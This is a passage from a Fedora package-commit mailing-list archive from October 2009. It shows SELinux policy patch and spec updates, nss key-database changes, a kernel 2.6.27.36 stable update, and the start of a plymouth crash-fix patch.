 policy/modules/system/init.if             |  158 +++
 policy/modules/system/init.te             |  277 ++++-
 policy/modules/system/ipsec.fc            |    3 
 policy/modules/system/ipsec.if            |   25 
 policy/modules/system/ipsec.te            |   55 +
 policy/modules/system/iptables.fc         |   17 
 policy/modules/system/iptables.if         |   97 ++
 policy/modules/system/iptables.te         |   15 
 policy/modules/system/iscsi.if            |   40 
 policy/modules/system/iscsi.te            |    6 
 policy/modules/system/libraries.fc        |  159 ++-
 policy/modules/system/libraries.if        |    4 
 policy/modules/system/libraries.te        |   17 
 policy/modules/system/locallogin.te       |   30 
 policy/modules/system/logging.fc          |   12 
 policy/modules/system/logging.if          |    4 
 policy/modules/system/logging.te          |   38 
 policy/modules/system/lvm.te              |   25 
 policy/modules/system/miscfiles.if        |   38 
 policy/modules/system/modutils.fc         |    1 
 policy/modules/system/modutils.if         |   46 
 policy/modules/system/modutils.te         |   46 
 policy/modules/system/mount.fc            |    7 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |   76 +
 policy/modules/system/raid.fc             |    2 
 policy/modules/system/raid.te             |    8 
 policy/modules/system/selinuxutil.fc      |   17 
 policy/modules/system/selinuxutil.if      |  309 ++++++
 policy/modules/system/selinuxutil.te      |  226 +---
 policy/modules/system/setrans.if          |   20 
 policy/modules/system/sysnetwork.fc       |    9 
 policy/modules/system/sysnetwork.if       |  117 ++
 policy/modules/system/sysnetwork.te       |   74 +
 policy/modules/system/udev.fc             |    3 
 policy/modules/system/udev.if             |   21 
 policy/modules/system/udev.te             |   39 
 policy/modules/system/unconfined.fc       |   15 
 policy/modules/system/unconfined.if       |  443 ---------
 policy/modules/system/unconfined.te       |  224 ----
 policy/modules/system/userdomain.fc       |    6 
 policy/modules/system/userdomain.if       | 1413 ++++++++++++++++++++++--------
 policy/modules/system/userdomain.te       |   50 -
 policy/modules/system/xen.fc              |    6 
 policy/modules/system/xen.if              |   28 
 policy/modules/system/xen.te              |  137 ++
 policy/support/obj_perm_sets.spt          |   14 
 policy/users                              |   13 
 343 files changed, 16035 insertions(+), 2617 deletions(-)

Index: policy-F12.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/policy-F12.patch,v
retrieving revision 1.100
retrieving revision 1.101
diff -u -p -r1.100 -r1.101
--- policy-F12.patch	2 Oct 2009 15:01:06 -0000	1.100
+++ policy-F12.patch	5 Oct 2009 21:16:35 -0000	1.101
@@ -1402,8 +1402,16 @@ diff -b -B --ignore-all-space --exclude-
  ########################################
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/admin/tmpreaper.te serefpolicy-3.6.32/policy/modules/admin/tmpreaper.te
 --- nsaserefpolicy/policy/modules/admin/tmpreaper.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/admin/tmpreaper.te	2009-09-30 16:12:48.000000000 -0400
-@@ -52,6 +52,10 @@
++++ serefpolicy-3.6.32/policy/modules/admin/tmpreaper.te	2009-10-05 11:13:57.000000000 -0400
+@@ -42,6 +42,7 @@
+ cron_system_entry(tmpreaper_t, tmpreaper_exec_t)
+ 
+ ifdef(`distro_redhat',`
++	userdom_list_user_home_content(tmpreaper_t)
+ 	userdom_delete_user_home_content_dirs(tmpreaper_t)
+ 	userdom_delete_user_home_content_files(tmpreaper_t)
+ 	userdom_delete_user_home_content_symlinks(tmpreaper_t)
+@@ -52,6 +53,10 @@
  ')
  
  optional_policy(`
@@ -1616,10 +1624,10 @@ diff -b -B --ignore-all-space --exclude-
 -')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/chrome.fc serefpolicy-3.6.32/policy/modules/apps/chrome.fc
 --- nsaserefpolicy/policy/modules/apps/chrome.fc	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/apps/chrome.fc	2009-10-02 08:22:43.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/apps/chrome.fc	2009-10-02 11:37:05.000000000 -0400
 @@ -0,0 +1,2 @@
 +
-+/usr/lib64/chromium-browser/chrome-sandbox	--	gen_context(system_u:object_r:chrome_sandbox_exec_t,s0)
++/usr/lib(64)?/chromium-browser/chrome-sandbox	--	gen_context(system_u:object_r:chrome_sandbox_exec_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/chrome.if serefpolicy-3.6.32/policy/modules/apps/chrome.if
 --- nsaserefpolicy/policy/modules/apps/chrome.if	1969-12-31 19:00:00.000000000 -0500
 +++ serefpolicy-3.6.32/policy/modules/apps/chrome.if	2009-10-02 08:37:09.000000000 -0400
@@ -1784,35 +1792,37 @@ diff -b -B --ignore-all-space --exclude-
  	dbus_system_domain(cpufreqselector_t, cpufreqselector_exec_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/execmem.fc serefpolicy-3.6.32/policy/modules/apps/execmem.fc
 --- nsaserefpolicy/policy/modules/apps/execmem.fc	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/apps/execmem.fc	2009-10-02 10:45:59.000000000 -0400
-@@ -0,0 +1,27 @@
-+/usr/bin/valgrind 		--	gen_context(system_u:object_r:execmem_exec_t,s0)
++++ serefpolicy-3.6.32/policy/modules/apps/execmem.fc	2009-10-05 09:23:28.000000000 -0400
+@@ -0,0 +1,29 @@
++/usr/bin/darcs 		--	gen_context(system_u:object_r:execmem_exec_t,s0)
++/usr/bin/haddock.*  	--	gen_context(system_u:object_r:execmem_exec_t,s0)
++/usr/bin/hasktags   	--	gen_context(system_u:object_r:execmem_exec_t,s0)
++/usr/bin/runghc	   	--	gen_context(system_u:object_r:execmem_exec_t,s0)
++/usr/bin/runhaskell	--	gen_context(system_u:object_r:execmem_exec_t,s0)
++/usr/bin/sbcl	     	--	gen_context(system_u:object_r:execmem_exec_t,s0)
++/usr/bin/skype		--	gen_context(system_u:object_r:execmem_exec_t,s0)
++/usr/bin/valgrind	--	gen_context(system_u:object_r:execmem_exec_t,s0)
 +/usr/sbin/vboxadd-service 	--	gen_context(system_u:object_r:execmem_exec_t,s0)
-+/usr/lib/ia32el/ia32x_loader 	--	gen_context(system_u:object_r:execmem_exec_t,s0)
-+/usr/lib(64)/virtualbox/VirtualBox  --	gen_context(system_u:object_r:execmem_exec_t,s0)
 +
-+/usr/local/RealPlayer/realplay\.bin --	gen_context(system_u:object_r:execmem_exec_t,s0)
++/opt/real/(.*/)?realplay\.bin --	gen_context(system_u:object_r:execmem_exec_t,s0)
 +
 +ifdef(`distro_gentoo',`
 +/usr/lib32/openoffice/program/[^/]+\.bin -- gen_context(system_u:object_r:execmem_exec_t,s0)
 +')
-+/usr/bin/sbcl			    --	gen_context(system_u:object_r:execmem_exec_t,s0)
-+/usr/lib64/R/bin/exec/R	   	--	gen_context(system_u:object_r:execmem_exec_t,s0)
-+/usr/lib/R/bin/exec/R	   	--	gen_context(system_u:object_r:execmem_exec_t,s0)
++/usr/lib(64)?/chromium-browser/chromium-browser  gen_context(system_u:object_r:execmem_exec_t,s0)
 +/usr/lib64/erlang/erts-[^/]+/bin/beam.smp --	gen_context(system_u:object_r:execmem_exec_t,s0)
 +/usr/lib/erlang/erts-[^/]+/bin/beam.smp --	gen_context(system_u:object_r:execmem_exec_t,s0)
++/usr/lib64/R/bin/exec/R	   	--	gen_context(system_u:object_r:execmem_exec_t,s0)
++/usr/lib/R/bin/exec/R	   	--	gen_context(system_u:object_r:execmem_exec_t,s0)
 +
-+/usr/bin/haddock.*  --	gen_context(system_u:object_r:execmem_exec_t,s0)
-+/usr/bin/hasktags  --	gen_context(system_u:object_r:execmem_exec_t,s0)
-+/usr/bin/runghc  --	gen_context(system_u:object_r:execmem_exec_t,s0)
-+/usr/bin/runhaskell  --	gen_context(system_u:object_r:execmem_exec_t,s0)
 +/usr/libexec/ghc-[^/]+/.*bin  --	gen_context(system_u:object_r:execmem_exec_t,s0)
 +/usr/libexec/ghc-[^/]+/ghc-.*  --	gen_context(system_u:object_r:execmem_exec_t,s0)
 +/usr/lib(64)?/ghc-[^/]+/ghc-.*  --	gen_context(system_u:object_r:execmem_exec_t,s0)
++/usr/lib/ia32el/ia32x_loader 	--	gen_context(system_u:object_r:execmem_exec_t,s0)
++/usr/lib(64)/virtualbox/VirtualBox  --	gen_context(system_u:object_r:execmem_exec_t,s0)
 +
-+/opt/real/(.*/)?realplay\.bin --	gen_context(system_u:object_r:execmem_exec_t,s0)
++/usr/local/RealPlayer/realplay\.bin --	gen_context(system_u:object_r:execmem_exec_t,s0)
 +
-+/usr/lib(64)?/chromium-browser/chromium-browser  gen_context(system_u:object_r:execmem_exec_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/execmem.if serefpolicy-3.6.32/policy/modules/apps/execmem.if
 --- nsaserefpolicy/policy/modules/apps/execmem.if	1969-12-31 19:00:00.000000000 -0500
 +++ serefpolicy-3.6.32/policy/modules/apps/execmem.if	2009-10-02 10:33:33.000000000 -0400
@@ -3457,8 +3467,8 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/nsplugin.te serefpolicy-3.6.32/policy/modules/apps/nsplugin.te
 --- nsaserefpolicy/policy/modules/apps/nsplugin.te	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/apps/nsplugin.te	2009-09-30 16:12:48.000000000 -0400
-@@ -0,0 +1,294 @@
++++ serefpolicy-3.6.32/policy/modules/apps/nsplugin.te	2009-10-05 09:30:27.000000000 -0400
+@@ -0,0 +1,295 @@
 +
 +policy_module(nsplugin, 1.0.0)
 +
@@ -3703,6 +3713,7 @@ diff -b -B --ignore-all-space --exclude-
 +miscfiles_read_fonts(nsplugin_config_t)
 +
 +userdom_search_user_home_content(nsplugin_config_t)
++userdom_read_user_home_content_symlinks(nsplugin_config_t)
 +userdom_read_user_home_content_files(nsplugin_config_t)
 +userdom_dontaudit_search_admin_dir(nsplugin_config_t)
 +
@@ -3874,7 +3885,7 @@ diff -b -B --ignore-all-space --exclude-
 +application_domain(openoffice_t, openoffice_exec_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/pulseaudio.if serefpolicy-3.6.32/policy/modules/apps/pulseaudio.if
 --- nsaserefpolicy/policy/modules/apps/pulseaudio.if	2009-08-31 13:30:04.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/apps/pulseaudio.if	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/apps/pulseaudio.if	2009-10-05 08:28:56.000000000 -0400
 @@ -40,7 +40,7 @@
  	userdom_manage_tmpfs_role($1, pulseaudio_t)
  
@@ -3886,7 +3897,7 @@ diff -b -B --ignore-all-space --exclude-
  ########################################
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/pulseaudio.te serefpolicy-3.6.32/policy/modules/apps/pulseaudio.te
 --- nsaserefpolicy/policy/modules/apps/pulseaudio.te	2009-08-31 13:30:04.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/apps/pulseaudio.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/apps/pulseaudio.te	2009-10-05 08:30:24.000000000 -0400
 @@ -26,6 +26,7 @@
  
  can_exec(pulseaudio_t, pulseaudio_exec_t)
@@ -3895,7 +3906,15 @@ diff -b -B --ignore-all-space --exclude-
  kernel_read_system_state(pulseaudio_t)
  kernel_read_kernel_sysctls(pulseaudio_t)
  
-@@ -88,6 +89,10 @@
+@@ -69,6 +70,7 @@
+ optional_policy(`
+ 	dbus_system_bus_client(pulseaudio_t)
+ 	dbus_session_bus_client(pulseaudio_t)
++	dbus_connect_session_bus(pulseaudio_t)
+ 
+ 	optional_policy(`
+ 		consolekit_dbus_chat(pulseaudio_t)
+@@ -88,6 +90,10 @@
  ')
  
  optional_policy(`
@@ -3906,7 +3925,7 @@ diff -b -B --ignore-all-space --exclude-
  	policykit_domtrans_auth(pulseaudio_t)
  	policykit_read_lib(pulseaudio_t)
  	policykit_read_reload(pulseaudio_t)
-@@ -100,4 +105,5 @@
+@@ -100,4 +106,5 @@
  optional_policy(`
  	xserver_manage_xdm_tmp_files(pulseaudio_t)
  	xserver_read_xdm_lib_files(pulseaudio_t)
@@ -5265,7 +5284,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/corenetwork.te.in serefpolicy-3.6.32/policy/modules/kernel/corenetwork.te.in
 --- nsaserefpolicy/policy/modules/kernel/corenetwork.te.in	2009-09-09 09:23:16.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/kernel/corenetwork.te.in	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/kernel/corenetwork.te.in	2009-10-05 17:13:25.000000000 -0400
 @@ -65,6 +65,7 @@
  type server_packet_t, packet_type, server_packet_type;
  
@@ -5274,7 +5293,7 @@ diff -b -B --ignore-all-space --exclude-
  network_port(afs_fs, tcp,2040,s0, udp,7000,s0, udp,7005,s0)
  network_port(afs_ka, udp,7004,s0)
  network_port(afs_pt, udp,7002,s0)
-@@ -87,17 +88,21 @@
+@@ -87,26 +88,32 @@
  network_port(comsat, udp,512,s0)
  network_port(cvs, tcp,2401,s0, udp,2401,s0)
  network_port(cyphesis, tcp,6767,s0, tcp,6769,s0, udp,32771,s0)
@@ -5297,7 +5316,10 @@ diff -b -B --ignore-all-space --exclude-
  network_port(gatekeeper, udp,1718,s0, udp,1719,s0, tcp,1721,s0, tcp,7000,s0)
  network_port(giftd, tcp,1213,s0)
  network_port(gopher, tcp,70,s0, udp,70,s0)
-@@ -107,6 +112,8 @@
+ network_port(gpsd, tcp,2947,s0)
+ network_port(hddtemp, tcp,7634,s0)
+-network_port(howl, tcp,5335,s0, udp,5353,s0)
++network_port(howl, tcp,5353,s0, udp,5353,s0)
  network_port(hplip, tcp,1782,s0, tcp,2207,s0, tcp,2208,s0, tcp, 8290,s0, tcp,50000,s0, tcp,50002,s0, tcp,8292,s0, tcp,9100,s0, tcp,9101,s0, tcp,9102,s0, tcp,9220,s0, tcp,9221,s0, tcp,9222,s0, tcp,9280,s0, tcp,9281,s0, tcp,9282,s0, tcp,9290,s0, tcp,9291,s0, tcp,9292,s0)
  network_port(http, tcp,80,s0, tcp,443,s0, tcp,488,s0, tcp,8008,s0, tcp,8009,s0, tcp,8443,s0) #8443 is mod_nss default port
  network_port(http_cache, tcp,3128,s0, udp,3130,s0, tcp,8080,s0, tcp,8118,s0) # 8118 is for privoxy
@@ -8285,8 +8307,8 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/roles/unconfineduser.te serefpolicy-3.6.32/policy/modules/roles/unconfineduser.te
 --- nsaserefpolicy/policy/modules/roles/unconfineduser.te	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/roles/unconfineduser.te	2009-10-02 10:45:40.000000000 -0400
-@@ -0,0 +1,397 @@
++++ serefpolicy-3.6.32/policy/modules/roles/unconfineduser.te	2009-10-05 09:44:21.000000000 -0400
+@@ -0,0 +1,401 @@
 +policy_module(unconfineduser, 1.0.0)
 +
 +########################################
@@ -8654,6 +8676,10 @@ diff -b -B --ignore-all-space --exclude-
 +domain_ptrace_all_domains(unconfined_notrans_t)
 +
 +optional_policy(`
++	policykit_role(unconfined_r, unconfined_notrans_t)
++')
++
++optional_policy(`
 +	gen_require(`
 +		type mplayer_exec_t;
 +	')
@@ -12164,7 +12190,7 @@ diff -b -B --ignore-all-space --exclude-
  optional_policy(`
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/dbus.if serefpolicy-3.6.32/policy/modules/services/dbus.if
 --- nsaserefpolicy/policy/modules/services/dbus.if	2009-07-28 13:28:33.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/dbus.if	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/dbus.if	2009-10-05 08:30:03.000000000 -0400
 @@ -42,8 +42,10 @@
  	gen_require(`
  		class dbus { send_msg acquire_svc };
@@ -12662,7 +12688,16 @@ diff -b -B --ignore-all-space --exclude-
  
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/dovecot.te serefpolicy-3.6.32/policy/modules/services/dovecot.te
 --- nsaserefpolicy/policy/modules/services/dovecot.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/dovecot.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/dovecot.te	2009-10-05 09:17:34.000000000 -0400
+@@ -56,7 +56,7 @@
+ 
+ allow dovecot_t self:capability { dac_override dac_read_search chown net_bind_service setgid setuid sys_chroot };
+ dontaudit dovecot_t self:capability sys_tty_config;
+-allow dovecot_t self:process { setrlimit signal_perms };
++allow dovecot_t self:process { setrlimit signal_perms getcap setcap };
+ allow dovecot_t self:fifo_file rw_fifo_file_perms;
+ allow dovecot_t self:tcp_socket create_stream_socket_perms;
+ allow dovecot_t self:unix_dgram_socket create_socket_perms;
 @@ -103,6 +103,7 @@
  dev_read_urand(dovecot_t)
  
@@ -18515,7 +18550,7 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/setroubleshoot.te serefpolicy-3.6.32/policy/modules/services/setroubleshoot.te
 --- nsaserefpolicy/policy/modules/services/setroubleshoot.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/setroubleshoot.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/setroubleshoot.te	2009-10-05 11:42:06.000000000 -0400
 @@ -22,13 +22,19 @@
  type setroubleshoot_var_run_t;
  files_pid_file(setroubleshoot_var_run_t)
@@ -18577,7 +18612,7 @@ diff -b -B --ignore-all-space --exclude-
  
  selinux_get_enforce_mode(setroubleshootd_t)
  selinux_validate_context(setroubleshootd_t)
-@@ -94,23 +113,72 @@
+@@ -94,23 +113,74 @@
  
  locallogin_dontaudit_use_fds(setroubleshootd_t)
  
@@ -18619,6 +18654,8 @@ diff -b -B --ignore-all-space --exclude-
 +allow setroubleshoot_fixit_t self:fifo_file rw_fifo_file_perms;
 +allow setroubleshoot_fixit_t self:unix_dgram_socket create_socket_perms;
 +
++allow setroubleshoot_fixit_t setroubleshootd_t:process signull;
++
 +setroubleshoot_dbus_chat(setroubleshoot_fixit_t)
 +setroubleshoot_stream_connect(setroubleshoot_fixit_t)
 +
@@ -23836,7 +23873,7 @@ diff -b -B --ignore-all-space --exclude-
 +miscfiles_read_localization(iscsid_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/libraries.fc serefpolicy-3.6.32/policy/modules/system/libraries.fc
 --- nsaserefpolicy/policy/modules/system/libraries.fc	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/libraries.fc	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/libraries.fc	2009-10-05 09:46:44.000000000 -0400
 @@ -60,12 +60,15 @@
  #
  # /opt
@@ -24025,7 +24062,7 @@ diff -b -B --ignore-all-space --exclude-
  ') dnl end distro_redhat
  
  #
-@@ -307,10 +295,96 @@
+@@ -307,10 +295,97 @@
  
  /var/mailman/pythonlib(/.*)?/.+\.so(\..*)? --	gen_context(system_u:object_r:lib_t,s0)
  
@@ -24036,6 +24073,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
 +/usr/share/hplip/prnt/plugins(/.*)?		gen_context(system_u:object_r:lib_t,s0)
++/usr/share/squeezeboxserver/CPAN/arch/.+\.so		--	gen_context(system_u:object_r:textrel_shlib_t,s0)
 +
  /var/spool/postfix/lib(64)?(/.*)? 		gen_context(system_u:object_r:lib_t,s0)
  /var/spool/postfix/usr(/.*)?			gen_context(system_u:object_r:lib_t,s0)
@@ -27255,7 +27293,7 @@ diff -b -B --ignore-all-space --exclude-
 +HOME_DIR/\.gvfs(/.*)?	<<none>>
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/userdomain.if serefpolicy-3.6.32/policy/modules/system/userdomain.if
 --- nsaserefpolicy/policy/modules/system/userdomain.if	2009-08-31 13:30:04.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/userdomain.if	2009-10-02 10:53:53.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/userdomain.if	2009-10-05 11:13:48.000000000 -0400
 @@ -30,8 +30,9 @@
  	')
  


Index: selinux-policy.spec
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/selinux-policy.spec,v
retrieving revision 1.937
retrieving revision 1.938
diff -u -p -r1.937 -r1.938
--- selinux-policy.spec	2 Oct 2009 15:23:31 -0000	1.937
+++ selinux-policy.spec	5 Oct 2009 21:16:36 -0000	1.938
@@ -20,7 +20,7 @@
 Summary: SELinux policy configuration
 Name: selinux-policy
 Version: 3.6.32
-Release: 20%{?dist}
+Release: 21%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: serefpolicy-%{version}.tgz
@@ -366,7 +366,7 @@ SELinux Reference policy minimum base mo
 %saveFileContext minimum
 
 %post minimum
-packages="unconfined.pp.bz2 unconfineduser.pp.bz2"
+packages="execmem.pp.bz2 unconfined.pp.bz2 unconfineduser.pp.bz2"
 %loadpolicy minimum $packages
 if [ $1 -eq 1 ]; then
 semanage -S minimum -i - << __eof
@@ -449,6 +449,9 @@ exit 0
 %endif
 
 %changelog
+* Mon Oct 5 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-21
+- Allow dovecot_t getcap, setcap
+
 * Fri Oct 2 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-20
 - Add chrome-sandbox policy
 - Split out execmem policy



From emaldonado at fedoraproject.org  Mon Oct  5 21:32:01 2009
From: emaldonado at fedoraproject.org (Elio Maldonado)
Date: Mon,  5 Oct 2009 21:32:01 +0000 (UTC)
Subject: rpms/nss/devel blank-key4.db,1.2,1.3
Message-ID: <20091005213201.8B67C11C00DB@cvs1.fedora.phx.redhat.com>

Author: emaldonado

Update of /cvs/extras/rpms/nss/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17472

Modified Files:
	blank-key4.db 
Log Message:
New emptykey db so user don't get prompted for a password (#527048)


Index: blank-key4.db
===================================================================
RCS file: /cvs/extras/rpms/nss/devel/blank-key4.db,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
Binary files /tmp/cvsHZtllV and /tmp/cvszAYC94 differ



From emaldonado at fedoraproject.org  Mon Oct  5 21:32:44 2009
From: emaldonado at fedoraproject.org (Elio Maldonado)
Date: Mon,  5 Oct 2009 21:32:44 +0000 (UTC)
Subject: rpms/nss/F-12 blank-key4.db,1.1,1.2
Message-ID: <20091005213244.9F8F511C00DB@cvs1.fedora.phx.redhat.com>

Author: emaldonado

Update of /cvs/extras/rpms/nss/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17695

Modified Files:
	blank-key4.db 
Log Message:
New empty key db so user don't get prompted for a password (#527048)


Index: blank-key4.db
===================================================================
RCS file: /cvs/extras/rpms/nss/F-12/blank-key4.db,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
Binary files /tmp/cvskTR553 and /tmp/cvskvBX9e differ



From cebbert at fedoraproject.org  Mon Oct  5 21:42:18 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Mon,  5 Oct 2009 21:42:18 +0000 (UTC)
Subject: rpms/kernel/F-10 patch-2.6.27.36.bz2.sign, NONE, 1.1.2.1 .cvsignore,
	1.960.2.23, 1.960.2.24 kernel.spec, 1.1206.2.96,
	1.1206.2.97 sources, 1.922.2.23, 1.922.2.24 upstream, 1.834.2.23,
	1.834.2.24 patch-2.6.27.35.bz2.sign, 1.1.2.1,
	NONE patch-2.6.27.36-rc2.bz2.sign, 1.1.2.1, NONE
Message-ID: <20091005214218.DAD7A11C00DB@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20380

Modified Files:
      Tag: private-fedora-10-2_6_27
	.cvsignore kernel.spec sources upstream 
Added Files:
      Tag: private-fedora-10-2_6_27
	patch-2.6.27.36.bz2.sign 
Removed Files:
      Tag: private-fedora-10-2_6_27
	patch-2.6.27.35.bz2.sign patch-2.6.27.36-rc2.bz2.sign 
Log Message:
Linux 2.6.27.36


--- NEW FILE patch-2.6.27.36.bz2.sign ---
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
Comment: See http://www.kernel.org/signature.html for info

iD8DBQBKyi3dyGugalF9Dw4RAuE+AJ9EpByhGyCpmDSaGUQM1HU9enOtpwCfcGPb
WIpF9CF69SVbwfHL+0VDMyo=
=1x4j
-----END PGP SIGNATURE-----


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/.cvsignore,v
retrieving revision 1.960.2.23
retrieving revision 1.960.2.24
diff -u -p -r1.960.2.23 -r1.960.2.24
--- .cvsignore	5 Oct 2009 03:09:46 -0000	1.960.2.23
+++ .cvsignore	5 Oct 2009 21:42:17 -0000	1.960.2.24
@@ -4,5 +4,4 @@ kernel-2.6.*.config
 temp-*
 kernel-2.6.27
 linux-2.6.27.tar.bz2
-patch-2.6.27.35.bz2
-patch-2.6.27.36-rc2.bz2
+patch-2.6.27.36.bz2


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/kernel.spec,v
retrieving revision 1.1206.2.96
retrieving revision 1.1206.2.97
diff -u -p -r1.1206.2.96 -r1.1206.2.97
--- kernel.spec	5 Oct 2009 03:16:34 -0000	1.1206.2.96
+++ kernel.spec	5 Oct 2009 21:42:17 -0000	1.1206.2.97
@@ -41,7 +41,7 @@ Summary: The Linux kernel
 # Do we have a -stable update to apply?
 %define stable_update 36
 # Is it a -stable RC?
-%define stable_rc 2
+%define stable_rc 0
 # Set rpm version accordingly
 %if 0%{?stable_update}
 %define stablerev .%{stable_update}
@@ -2008,6 +2008,9 @@ fi
 %kernel_variant_files -k vmlinux %{with_kdump} kdump
 
 %changelog
+* Mon Oct 05 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.27.36-170.2.97
+- Linux 2.6.27.36
+
 * Sun Oct 04 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.27.36-170.2.96.rc2
 - Backport stack randomization fix from 2.6.31.2 (#526882)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/sources,v
retrieving revision 1.922.2.23
retrieving revision 1.922.2.24
diff -u -p -r1.922.2.23 -r1.922.2.24
--- sources	5 Oct 2009 03:09:53 -0000	1.922.2.23
+++ sources	5 Oct 2009 21:42:18 -0000	1.922.2.24
@@ -1,3 +1,2 @@
 b3e78977aa79d3754cb7f8143d7ddabd  linux-2.6.27.tar.bz2
-6d49b54ff6ed54896db5d9e2ab7a6c0c  patch-2.6.27.35.bz2
-fd197c51c9638525d5629ccd09f832f0  patch-2.6.27.36-rc2.bz2
+868646f1e2dcc6280c412bd7ee9f3ece  patch-2.6.27.36.bz2


Index: upstream
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/upstream,v
retrieving revision 1.834.2.23
retrieving revision 1.834.2.24
diff -u -p -r1.834.2.23 -r1.834.2.24
--- upstream	5 Oct 2009 03:09:53 -0000	1.834.2.23
+++ upstream	5 Oct 2009 21:42:18 -0000	1.834.2.24
@@ -1,4 +1,3 @@
 linux-2.6.27.tar.bz2
-patch-2.6.27.35.bz2
-patch-2.6.27.36-rc2.bz2
+patch-2.6.27.36.bz2
 


--- patch-2.6.27.35.bz2.sign DELETED ---


--- patch-2.6.27.36-rc2.bz2.sign DELETED ---



From rstrode at fedoraproject.org  Mon Oct  5 21:43:30 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Mon,  5 Oct 2009 21:43:30 +0000 (UTC)
Subject: rpms/plymouth/F-12 fix-text-password-crash.patch, NONE,
	1.1 plymouth.spec, 1.149, 1.150
Message-ID: <20091005214330.3F3FE11C00DB@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/plymouth/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20940

Modified Files:
	plymouth.spec 
Added Files:
	fix-text-password-crash.patch 
Log Message:
- Fix crasher in text plugin after password prompt (bug 526652)
- Actually apply the patch mentioned in 2009.29.09.2


fix-text-password-crash.patch:
 plugin.c |   28 ++--------------------------
 1 file changed, 2 insertions(+), 26 deletions(-)

--- NEW FILE fix-text-password-crash.patch ---
>From 7a87b2210b2baa2c43276062e5a24b9b3e5760e6 Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Mon, 5 Oct 2009 17:37:48 -0400
Subject: [PATCH] [text] Don't crash after password prompt

We were treating the passed in view to the
draw handler as if it was the plugin itself.
---
 src/plugins/splash/text/plugin.c |   27 ++-------------------------
